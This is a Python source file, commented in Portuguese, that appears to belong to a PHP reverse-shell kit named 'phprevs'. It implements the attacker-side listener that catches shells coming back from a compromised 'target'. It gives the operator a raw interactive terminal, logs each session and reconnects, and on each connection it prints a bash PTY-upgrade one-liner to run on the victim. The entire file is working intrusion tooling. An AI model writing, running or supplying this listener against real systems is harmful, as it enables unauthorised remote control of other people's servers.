listen.py

#!/usr/bin/env python3
"""phprevs listen.py - listener TCP com terminal cru e log de sessao (stdlib).

- terminal local em modo raw: setas, Ctrl-C, Ctrl-Z passam como bytes
- traducao CRLF ligada por padrao (shell pipe-based fica utilizavel);
  Ctrl-T alterna em tempo real; --raw desliga de vez
- Ctrl-] encerra a sessao (com --reconnect, volta a ouvir)
- log bidirecional da sessao em logs/session_<ts>.log
"""

from __future__ import annotations

import argparse
import os
import select
import socket
import sys
import time

try:
    import termios
    import tty
    _HAS_TTY = True
except ImportError:          # Windows: listener roda sem raw mode
    _HAS_TTY = False

CTRL_DETACH = b'\x1d'        # Ctrl-]
CTRL_TOGGLE = b'\x14'        # Ctrl-T


def handle(conn, log, raw: bool) -> None:
    conn.setblocking(False)
    translate = not raw
    while True:
        r, _, _ = select.select([conn, sys.stdin], [], [], 1.0)
        for fd in r:
            if fd is conn:
                data = conn.recv(8192)
                if not data:
                    print('\n[!] alvo encerrou a conexao')
                    return
                log.write(b'[S>] ' + data + b'\n')
                log.flush()
                if translate:
                    data = data.replace(b'\n', b'\r\n')
                os.write(sys.stdout.fileno(), data)
            elif fd is sys.stdin:
                data = os.read(sys.stdin.fileno(), 8192)
                if not data:
                    return
                if data == CTRL_DETACH:
                    print('\n[*] sessao encerrada (Ctrl-])')
                    return
                if data == CTRL_TOGGLE:
                    translate = not translate
                    print('\n[*] traducao CRLF: %s' % ('ON' if translate else 'OFF'))
                    continue
                log.write(b'[C>] ' + data + b'\n')
                log.flush()
                if translate:
                    data = data.replace(b'\r', b'\n')
                conn.sendall(data)


def main() -> int:
    ap = argparse.ArgumentParser(description='phprevs listener (stdlib)')
    ap.add_argument('port', type=int)
    ap.add_argument('--host', default='0.0.0.0')
    ap.add_argument('--reconnect', action='store_true',
                    help='continua ouvindo apos a sessao')
    ap.add_argument('--raw', action='store_true',
                    help='sem traducao \\r\\n (para alvo com PTY real)')
    ap.add_argument('--log-dir', default='logs')
    args = ap.parse_args()
    os.makedirs(args.log_dir, exist_ok=True)

    print('[*] phprevs listener - Ctrl-] encerra | Ctrl-T alterna CRLF')
    while True:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((args.host, args.port))
        srv.listen(1)
        print('[*] ouvindo %s:%d ...' % (args.host, args.port))

        conn, addr = srv.accept()
        print('[+] conexao de %s:%d' % (addr[0], addr[1]))
        print('[*] upgrade de PTY no alvo (recomendado):')
        print("    python3 -c 'import pty;pty.spawn(\"/bin/bash\")'")

        log_path = os.path.join(args.log_dir, 'session_%d.log' % int(time.time()))
        log = open(log_path, 'ab')
        print('[*] log: %s' % log_path)

        old = None
        try:
            if _HAS_TTY and sys.stdin.isatty():
                old = termios.tcgetattr(sys.stdin.fileno())
                tty.setraw(sys.stdin.fileno())   # teclas passam como bytes
            handle(conn, log, args.raw)
        except KeyboardInterrupt:
            print('\n[*] interrompido pelo operador')
        finally:
            if old is not None:                   # restaura o terminal SEMPRE
                termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old)
            conn.close()
            log.close()
        if not args.reconnect:
            break
    return 0


if __name__ == '__main__':
    sys.exit(main())